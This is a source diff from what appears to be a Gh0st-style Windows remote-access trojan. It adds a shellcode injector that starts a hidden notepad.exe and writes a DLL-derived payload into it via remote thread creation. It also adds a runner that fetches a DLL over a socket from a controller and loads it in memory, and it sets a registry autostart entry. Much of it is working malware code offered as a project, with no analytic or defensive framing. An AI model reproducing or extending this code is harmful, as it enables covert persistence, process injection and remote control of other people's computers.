#include "StdAfx.h"
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
#include <tlhelp32.h>
|
||||
// A shell code loader connect to 127.0.0.1:6543.
|
||||
#include "SCLoader.cpp"
|
||||
|
||||
BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength,
|
||||
DWORD flags, LPSTR& outBytes, DWORD& outLength);
|
||||
|
||||
// A shell code injector.
|
||||
class ShellcodeInj
|
||||
{
|
||||
public:
|
||||
// Return the process id if inject succeed.
|
||||
int InjectProcess(const char* processName = nullptr) {
|
||||
if (processName) {
|
||||
auto pid = GetProcessIdByName(processName);
|
||||
if (pid ? InjectShellcode(pid, (BYTE*)Loader, sizeof(Loader)) : false)
|
||||
return pid;
|
||||
}
|
||||
PROCESS_INFORMATION pi = {};
|
||||
STARTUPINFO si = { sizeof(STARTUPINFO) };
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE; // hide the window
|
||||
if (CreateProcess(NULL, "\"notepad.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return InjectShellcode(pi.dwProcessId, (BYTE*)Loader, sizeof(Loader)) ? pi.dwProcessId : 0;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
private:
|
||||
// Find process id by name.
|
||||
DWORD GetProcessIdByName(const std::string& procName) {
|
||||
DWORD pid = 0;
|
||||
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hSnap != INVALID_HANDLE_VALUE) {
|
||||
PROCESSENTRY32 pe32 = { sizeof(pe32) };
|
||||
if (Process32First(hSnap, &pe32)) {
|
||||
do {
|
||||
if (_stricmp(pe32.szExeFile, procName.c_str()) == 0) {
|
||||
pid = pe32.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
} while (Process32Next(hSnap, &pe32));
|
||||
}
|
||||
CloseHandle(hSnap);
|
||||
}
|
||||
return pid;
|
||||
}
|
||||
|
||||
// Check if the process is 64bit.
|
||||
bool IsProcess64Bit(HANDLE hProcess, BOOL& is64Bit)
|
||||
{
|
||||
BOOL bWow64 = FALSE;
|
||||
typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS2)(HANDLE, USHORT*, USHORT*);
|
||||
HMODULE hKernel = GetModuleHandleA("kernel32.dll");
|
||||
|
||||
LPFN_ISWOW64PROCESS2 fnIsWow64Process2 = hKernel ?
|
||||
(LPFN_ISWOW64PROCESS2)::GetProcAddress(hKernel, "IsWow64Process2") : nullptr;
|
||||
|
||||
if (fnIsWow64Process2)
|
||||
{
|
||||
USHORT processMachine = 0, nativeMachine = 0;
|
||||
if (fnIsWow64Process2(hProcess, &processMachine, &nativeMachine))
|
||||
{
|
||||
is64Bit = (processMachine == IMAGE_FILE_MACHINE_UNKNOWN) && (nativeMachine == IMAGE_FILE_MACHINE_AMD64);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// Old system use IsWow64Process
|
||||
if (IsWow64Process(hProcess, &bWow64))
|
||||
{
|
||||
is64Bit = sizeof(void*) == 8 ? TRUE : !bWow64;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check if it's able to inject.
|
||||
HANDLE CheckProcess(DWORD pid) {
|
||||
HANDLE hProcess = OpenProcess(
|
||||
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
|
||||
FALSE, pid);
|
||||
if (!hProcess) {
|
||||
Mprintf("OpenProcess failed. PID: %d\n", pid);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// Check process and system architecture.
|
||||
BOOL targetIs64Bit = FALSE;
|
||||
BOOL success = IsProcess64Bit(hProcess, targetIs64Bit);
|
||||
if (!success) {
|
||||
Mprintf("Get architecture failed \n");
|
||||
CloseHandle(hProcess);
|
||||
return nullptr;
|
||||
}
|
||||
const BOOL selfIs64Bit = sizeof(void*) == 8;
|
||||
if (selfIs64Bit != targetIs64Bit) {
|
||||
Mprintf("[Unable inject] Injector is %s, Target process is %s\n",
|
||||
(selfIs64Bit ? "64bit" : "32bit"), (targetIs64Bit ? "64bit" : "32bit"));
|
||||
CloseHandle(hProcess);
|
||||
return nullptr;
|
||||
}
|
||||
return hProcess;
|
||||
}
|
||||
|
||||
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength) {
|
||||
if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
|
||||
LPSTR finalShellcode = NULL;
|
||||
DWORD finalSize;
|
||||
if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, finalShellcode, finalSize)) {
|
||||
return false;
|
||||
}
|
||||
compressedBuffer = new BYTE[finalSize];
|
||||
ulTotalSize = finalSize;
|
||||
|
||||
memcpy(compressedBuffer, finalShellcode, finalSize);
|
||||
free(finalShellcode);
|
||||
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// Inject shell code to target process.
|
||||
bool InjectShellcode(DWORD pid, const BYTE* pDllBuffer, int dllSize) {
|
||||
HANDLE hProcess = CheckProcess(pid);
|
||||
if (!hProcess)
|
||||
return false;
|
||||
|
||||
// Convert DLL -> Shell code.
|
||||
LPBYTE shellcode = NULL;
|
||||
int len = 0;
|
||||
if (!MakeShellcode(shellcode, len, (LPBYTE)pDllBuffer, dllSize)) {
|
||||
Mprintf("MakeShellcode failed \n");
|
||||
CloseHandle(hProcess);
|
||||
return false;
|
||||
}
|
||||
|
||||
LPVOID remoteBuffer = VirtualAllocEx(hProcess, nullptr, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (!remoteBuffer) {
|
||||
Mprintf("VirtualAllocEx failed \n");
|
||||
CloseHandle(hProcess);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, len, nullptr)) {
|
||||
Mprintf("WriteProcessMemory failed \n");
|
||||
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||||
CloseHandle(hProcess);
|
||||
delete[] shellcode;
|
||||
return false;
|
||||
}
|
||||
delete[] shellcode;
|
||||
|
||||
// Shell code entry.
|
||||
LPTHREAD_START_ROUTINE entry = reinterpret_cast<LPTHREAD_START_ROUTINE>(reinterpret_cast<ULONG_PTR>(remoteBuffer));
|
||||
|
||||
HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, entry, remoteBuffer, 0, nullptr);
|
||||
if (!hThread) {
|
||||
Mprintf("CreateRemoteThread failed \n");
|
||||
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||||
CloseHandle(hProcess);
|
||||
return false;
|
||||
}
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
|
||||
Mprintf("Finish injecting to PID: %d\n", pid);
|
||||
|
||||
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||||
CloseHandle(hThread);
|
||||
CloseHandle(hProcess);
|
||||
|
||||
return true;
|
||||
}
|
||||
};
|
||||
@@ -99,3 +99,28 @@ public:
|
||||
#ifndef SAFE_DELETE_ARRAY
|
||||
#define SAFE_DELETE_ARRAY(p) if(NULL !=(p)){ delete[] (p);(p) = NULL;}
|
||||
#endif
|
||||
|
||||
class CLock
|
||||
{
|
||||
private:
|
||||
CRITICAL_SECTION m_cs;
|
||||
public:
|
||||
CLock()
|
||||
{
|
||||
InitializeCriticalSection(&m_cs);
|
||||
}
|
||||
~CLock()
|
||||
{
|
||||
DeleteCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
void Unlock()
|
||||
{
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
void Lock()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
}
|
||||
};
|
||||
|
||||
@@ -6,7 +6,6 @@
|
||||
#include "SystemManager.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
using namespace std;
|
||||
#include <TLHELP32.H>
|
||||
|
||||
#ifndef PSAPI_VERSION
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
#include <mmsystem.h>
|
||||
|
||||
#pragma comment(lib, "WINMM.LIB")
|
||||
using namespace std;
|
||||
|
||||
#define ID_TIMER_POP_WINDOW 1
|
||||
#define ID_TIMER_DELAY_DISPLAY 2
|
||||
#define ID_TIMER_CLOSE_WINDOW 3
|
||||
@@ -20,18 +20,14 @@ using namespace std;
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
char g_Buffer[TALK_DLG_MAXLEN] = {0};
|
||||
UINT_PTR g_Event = 0;
|
||||
|
||||
IOCPClient* g_IOCPClientObject = NULL;
|
||||
|
||||
extern HINSTANCE g_hInstance;
|
||||
|
||||
CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
BYTE bToken = TOKEN_TALK_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||
m_hInstance = HINSTANCE(user);
|
||||
g_Event = 0;
|
||||
memset(g_Buffer, 0, sizeof(g_Buffer));
|
||||
BYTE bToken = TOKEN_TALK_START;
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
g_IOCPClientObject = ClientObject;
|
||||
WaitForDialogOpen();
|
||||
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
|
||||
}
|
||||
@@ -55,8 +51,8 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer)));
|
||||
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DLG
|
||||
DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
|
||||
NULL,DialogProc); //SDK C MFC C++
|
||||
DialogBoxParamA(m_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
|
||||
NULL, DialogProc, (LPARAM)this); //SDK C MFC C++
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -65,11 +61,12 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
|
||||
WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
static CTalkManager* This = nullptr;
|
||||
switch(uMsg)
|
||||
{
|
||||
case WM_TIMER:
|
||||
{
|
||||
OnDlgTimer(hDlg);
|
||||
if (This) This->OnDlgTimer(hDlg);
|
||||
break;
|
||||
}
|
||||
case WM_INITDIALOG:
|
||||
@@ -80,19 +77,19 @@ INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
|
||||
exStyle &= ~WS_EX_APPWINDOW;
|
||||
exStyle |= WS_EX_TOOLWINDOW;
|
||||
SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle);
|
||||
|
||||
OnInitDialog(hDlg);
|
||||
This = (CTalkManager*)lParam;
|
||||
if(This) This->OnInitDialog(hDlg);
|
||||
break;
|
||||
}
|
||||
case WM_COMMAND:
|
||||
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
|
||||
{
|
||||
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
|
||||
BYTE bToken = TOKEN_TALKCMPLT;
|
||||
g_IOCPClientObject->OnServerSending((char*)&bToken, 1);
|
||||
BYTE bToken = TOKEN_TALKCMPLT;
|
||||
if (This) This->m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
EndDialog(hDlg, LOWORD(wParam));
|
||||
return (INT_PTR)TRUE;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -114,10 +111,10 @@ VOID CTalkManager::OnInitDialog(HWND hDlg)
|
||||
memset(g_Buffer,0,sizeof(g_Buffer));
|
||||
|
||||
g_Event = ID_TIMER_POP_WINDOW;
|
||||
SetTimer(hDlg, g_Event, 1, NULL); //ʱ<>ӻص<D3BB>
|
||||
SetTimer(hDlg, g_Event, 1, NULL);
|
||||
|
||||
PlaySound(MAKEINTRESOURCE(IDR_WAVE),
|
||||
g_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT);
|
||||
m_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT);
|
||||
}
|
||||
|
||||
|
||||
@@ -143,7 +140,7 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg) //ʱ
|
||||
{
|
||||
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
|
||||
BYTE bToken = TOKEN_TALKCMPLT; // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||
g_IOCPClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
|
||||
EndDialog(hDlg,0);
|
||||
}
|
||||
break;
|
||||
|
||||
@@ -14,6 +14,7 @@
|
||||
class CTalkManager : public CManager
|
||||
{
|
||||
public:
|
||||
HINSTANCE m_hInstance;
|
||||
CTalkManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CTalkManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
@@ -21,8 +22,11 @@ public:
|
||||
static INT_PTR CALLBACK DialogProc(HWND hDlg, UINT uMsg,
|
||||
WPARAM wParam, LPARAM lParam);
|
||||
|
||||
static VOID OnInitDialog(HWND hDlg);
|
||||
static VOID OnDlgTimer(HWND hDlg);
|
||||
VOID OnInitDialog(HWND hDlg);
|
||||
VOID OnDlgTimer(HWND hDlg);
|
||||
|
||||
char g_Buffer[TALK_DLG_MAXLEN];
|
||||
UINT_PTR g_Event;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_)
|
||||
|
||||
@@ -154,10 +154,14 @@
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Loader.cpp" />
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="test.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
<ClInclude Include="resource1.h" />
|
||||
<ClInclude Include="ShellcodeInj.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="TestRun.rc" />
|
||||
|
||||
@@ -201,6 +201,7 @@
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="ClientDll.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
@@ -222,8 +223,6 @@
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
<ClInclude Include="zconf.h" />
|
||||
<ClInclude Include="zlib.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc" />
|
||||
|
||||
229
client/test.cpp
@@ -1,9 +1,13 @@
|
||||
#include <windows.h>
|
||||
|
||||
#include <stdio.h>
|
||||
#include <iostream>
|
||||
#include <corecrt_io.h>
|
||||
#include "common/commands.h"
|
||||
#include "StdAfx.h"
|
||||
#include "MemoryModule.h"
|
||||
#include "ShellcodeInj.h"
|
||||
#include <WS2tcpip.h>
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
||||
#define REG_NAME "a_ghost"
|
||||
@@ -25,7 +29,11 @@ IsExit bExit = NULL;
|
||||
|
||||
BOOL status = 0;
|
||||
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", 6543, CLIENT_TYPE_DLL };
|
||||
#ifdef _DEBUG
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_InjSC };
|
||||
#else
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_InjSC };
|
||||
#endif
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
void DebugPrivilege()
|
||||
@@ -96,6 +104,163 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
||||
// <20><><EFBFBD>г<EFBFBD><D0B3><EFBFBD>.
|
||||
BOOL Run(const char* argv1, int argv2);
|
||||
|
||||
// Package header.
|
||||
typedef struct PkgHeader {
|
||||
char flag[8];
|
||||
int totalLen;
|
||||
int originLen;
|
||||
PkgHeader(int size) {
|
||||
memset(flag, 0, sizeof(flag));
|
||||
strcpy_s(flag, "Hello?");
|
||||
originLen = size;
|
||||
totalLen = sizeof(PkgHeader) + size;
|
||||
}
|
||||
}PkgHeader;
|
||||
|
||||
// A DLL runner.
|
||||
class DllRunner {
|
||||
public:
|
||||
virtual void* LoadLibraryA(const char* path) = 0;
|
||||
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) = 0;
|
||||
virtual BOOL FreeLibrary(void* mod) = 0;
|
||||
};
|
||||
|
||||
// Default DLL runner.
|
||||
class DefaultDllRunner : public DllRunner {
|
||||
private:
|
||||
HMODULE m_mod;
|
||||
public:
|
||||
DefaultDllRunner() : m_mod(nullptr) {}
|
||||
// Load DLL from the disk.
|
||||
virtual void* LoadLibraryA(const char* path) {
|
||||
return m_mod = ::LoadLibraryA(path);
|
||||
}
|
||||
virtual FARPROC GetProcAddress(void *mod, const char* lpProcName) {
|
||||
return ::GetProcAddress(m_mod, lpProcName);
|
||||
}
|
||||
virtual BOOL FreeLibrary(void* mod) {
|
||||
return ::FreeLibrary(m_mod);
|
||||
}
|
||||
};
|
||||
|
||||
// Memory DLL runner.
|
||||
class MemoryDllRunner : public DllRunner {
|
||||
protected:
|
||||
HMEMORYMODULE m_mod;
|
||||
std::string GetIPAddress(const char* hostName)
|
||||
{
|
||||
// 1. <20>ж<EFBFBD><D0B6>Dz<EFBFBD><C7B2>ǺϷ<C7BA><CFB7><EFBFBD> IPv4 <20><>ַ
|
||||
sockaddr_in sa;
|
||||
if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) {
|
||||
// <20>ǺϷ<C7BA> IPv4 <20><>ַ<EFBFBD><D6B7>ֱ<EFBFBD>ӷ<EFBFBD><D3B7><EFBFBD>
|
||||
return std::string(hostName);
|
||||
}
|
||||
|
||||
// 2. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
addrinfo hints = {}, * res = nullptr;
|
||||
hints.ai_family = AF_INET; // ֻ֧<D6BB><D6A7> IPv4
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
hints.ai_protocol = IPPROTO_TCP;
|
||||
|
||||
if (getaddrinfo(hostName, nullptr, &hints, &res) != 0)
|
||||
return "";
|
||||
|
||||
char ipStr[INET_ADDRSTRLEN] = {};
|
||||
sockaddr_in* ipv4 = (sockaddr_in*)res->ai_addr;
|
||||
inet_ntop(AF_INET, &(ipv4->sin_addr), ipStr, INET_ADDRSTRLEN);
|
||||
|
||||
freeaddrinfo(res);
|
||||
return std::string(ipStr);
|
||||
}
|
||||
public:
|
||||
MemoryDllRunner() : m_mod(nullptr){}
|
||||
virtual const char* ReceiveDll(int &size) {
|
||||
WSADATA wsaData = {};
|
||||
if (WSAStartup(MAKEWORD(2, 2), &wsaData))
|
||||
return nullptr;
|
||||
|
||||
const int bufSize = 4 * 1024 * 1024;
|
||||
char* buffer = new char[bufSize];
|
||||
bool isFirstConnect = true;
|
||||
|
||||
do {
|
||||
if (!isFirstConnect)
|
||||
Sleep(5000);
|
||||
|
||||
isFirstConnect = false;
|
||||
SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (clientSocket == INVALID_SOCKET) {
|
||||
continue;
|
||||
}
|
||||
|
||||
DWORD timeout = 5000;
|
||||
setsockopt(clientSocket, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout, sizeof(timeout));
|
||||
|
||||
sockaddr_in serverAddr = {};
|
||||
serverAddr.sin_family = AF_INET;
|
||||
serverAddr.sin_port = htons(g_ConnectAddress.ServerPort());
|
||||
std::string ip = GetIPAddress(g_ConnectAddress.ServerIP());
|
||||
serverAddr.sin_addr.s_addr = inet_addr(ip.c_str());
|
||||
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
||||
closesocket(clientSocket);
|
||||
continue;
|
||||
}
|
||||
#ifdef _DEBUG
|
||||
char command[4] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 0 };
|
||||
#else
|
||||
char command[4] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 1 };
|
||||
#endif
|
||||
char req[sizeof(PkgHeader) + 4] = {};
|
||||
memcpy(req, &PkgHeader(4), sizeof(PkgHeader));
|
||||
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
|
||||
auto bytesSent = send(clientSocket, req, sizeof(req), 0);
|
||||
if (bytesSent != sizeof(req)) {
|
||||
closesocket(clientSocket);
|
||||
continue;
|
||||
}
|
||||
char* ptr = buffer + sizeof(PkgHeader);
|
||||
int bufferSize = 16 * 1024, bytesReceived = 0, totalReceived = 0;
|
||||
while (totalReceived < bufSize) {
|
||||
int bytesToReceive = min(bufferSize, bufSize - totalReceived);
|
||||
int bytesReceived = recv(clientSocket, buffer + totalReceived, bytesToReceive, 0);
|
||||
if (bytesReceived <= 0) break;
|
||||
totalReceived += bytesReceived;
|
||||
}
|
||||
if (totalReceived < sizeof(PkgHeader) + 6) {
|
||||
closesocket(clientSocket);
|
||||
continue;
|
||||
}
|
||||
BYTE cmd = ptr[0], type = ptr[1];
|
||||
size = 0;
|
||||
memcpy(&size, ptr + 2, sizeof(int));
|
||||
if (totalReceived != size + 6 + sizeof(PkgHeader)) {
|
||||
continue;
|
||||
}
|
||||
closesocket(clientSocket);
|
||||
} while (false);
|
||||
|
||||
WSACleanup();
|
||||
return buffer;
|
||||
}
|
||||
// Request DLL from the master.
|
||||
virtual void* LoadLibraryA(const char* path) {
|
||||
int size = 0;
|
||||
auto buffer = ReceiveDll(size);
|
||||
if (nullptr == buffer)
|
||||
return nullptr;
|
||||
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
|
||||
SAFE_DELETE_ARRAY(buffer);
|
||||
return m_mod;
|
||||
}
|
||||
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
|
||||
return ::MemoryGetProcAddress((HMEMORYMODULE)mod, lpProcName);
|
||||
}
|
||||
virtual BOOL FreeLibrary(void* mod) {
|
||||
::MemoryFreeLibrary((HMEMORYMODULE)mod);
|
||||
return TRUE;
|
||||
}
|
||||
};
|
||||
|
||||
// @brief <20><><EFBFBD>ȶ<EFBFBD>ȡsettings.ini<6E><69><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
|
||||
// [settings]
|
||||
// localIp=XXX
|
||||
@@ -105,10 +270,38 @@ int main(int argc, const char *argv[])
|
||||
{
|
||||
if(!SetSelfStart(argv[0], REG_NAME))
|
||||
{
|
||||
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
}
|
||||
status = 0;
|
||||
SetConsoleCtrlHandler(&callback, TRUE);
|
||||
|
||||
// <20><> Shell code <20><><EFBFBD>ӱ<EFBFBD><D3B1><EFBFBD>6543<34>˿ڣ<CBBF>ע<EFBFBD>뵽<EFBFBD><EBB5BD><EFBFBD>±<EFBFBD>
|
||||
if (g_ConnectAddress.iStartup == Startup_InjSC)
|
||||
{
|
||||
// Try to inject shell code to `notepad.exe`
|
||||
// If failed then run memory DLL
|
||||
ShellcodeInj inj;
|
||||
int pid = 0;
|
||||
do {
|
||||
if (sizeof(void*) == 4) // Shell code is 64bit
|
||||
break;
|
||||
if (!(pid = inj.InjectProcess(nullptr))) {
|
||||
break;
|
||||
}
|
||||
HANDLE hProcess = OpenProcess(SYNCHRONIZE, FALSE, pid);
|
||||
if (hProcess == NULL) {
|
||||
break;
|
||||
}
|
||||
Mprintf("Inject process [%d] succeed.\n", pid);
|
||||
DWORD waitResult = WaitForSingleObject(hProcess, INFINITE);
|
||||
CloseHandle(hProcess);
|
||||
Mprintf("Process [%d] is finished.\n", pid);
|
||||
} while (pid);
|
||||
}
|
||||
|
||||
if (g_ConnectAddress.iStartup == Startup_InjSC) {
|
||||
g_ConnectAddress.iStartup = Startup_MEMDLL;
|
||||
}
|
||||
|
||||
do {
|
||||
BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
||||
@@ -161,16 +354,31 @@ BOOL Run(const char* argv1, int argv2) {
|
||||
Mprintf("Using new file: %s\n", newFile.c_str());
|
||||
}
|
||||
}
|
||||
HMODULE hDll = LoadLibraryA(path);
|
||||
DllRunner* runner = nullptr;
|
||||
switch (g_ConnectAddress.iStartup)
|
||||
{
|
||||
case Startup_DLL:
|
||||
runner = new DefaultDllRunner;
|
||||
break;
|
||||
case Startup_MEMDLL:
|
||||
runner = new MemoryDllRunner;
|
||||
break;
|
||||
default:
|
||||
ExitProcess(-1);
|
||||
break;
|
||||
}
|
||||
|
||||
void* hDll = runner->LoadLibraryA(path);
|
||||
typedef void (*TestRun)(char* strHost, int nPort);
|
||||
TestRun run = hDll ? TestRun(GetProcAddress(hDll, "TestRun")) : NULL;
|
||||
stop = hDll ? StopRun(GetProcAddress(hDll, "StopRun")) : NULL;
|
||||
bStop = hDll ? IsStoped(GetProcAddress(hDll, "IsStoped")) : NULL;
|
||||
bExit = hDll ? IsExit(GetProcAddress(hDll, "IsExit")) : NULL;
|
||||
TestRun run = hDll ? TestRun(runner->GetProcAddress(hDll, "TestRun")) : NULL;
|
||||
stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL;
|
||||
bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL;
|
||||
bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL;
|
||||
if (NULL == run) {
|
||||
if (hDll) FreeLibrary(hDll);
|
||||
if (hDll) runner->FreeLibrary(hDll);
|
||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
|
||||
Sleep(3000);
|
||||
delete runner;
|
||||
return FALSE;
|
||||
}
|
||||
do
|
||||
@@ -201,11 +409,12 @@ BOOL Run(const char* argv1, int argv2) {
|
||||
result = bExit();
|
||||
}
|
||||
} while (result == 2);
|
||||
if (!FreeLibrary(hDll)) {
|
||||
if (!runner->FreeLibrary(hDll)) {
|
||||
Mprintf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"ʧ<EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", GetLastError());
|
||||
}
|
||||
else {
|
||||
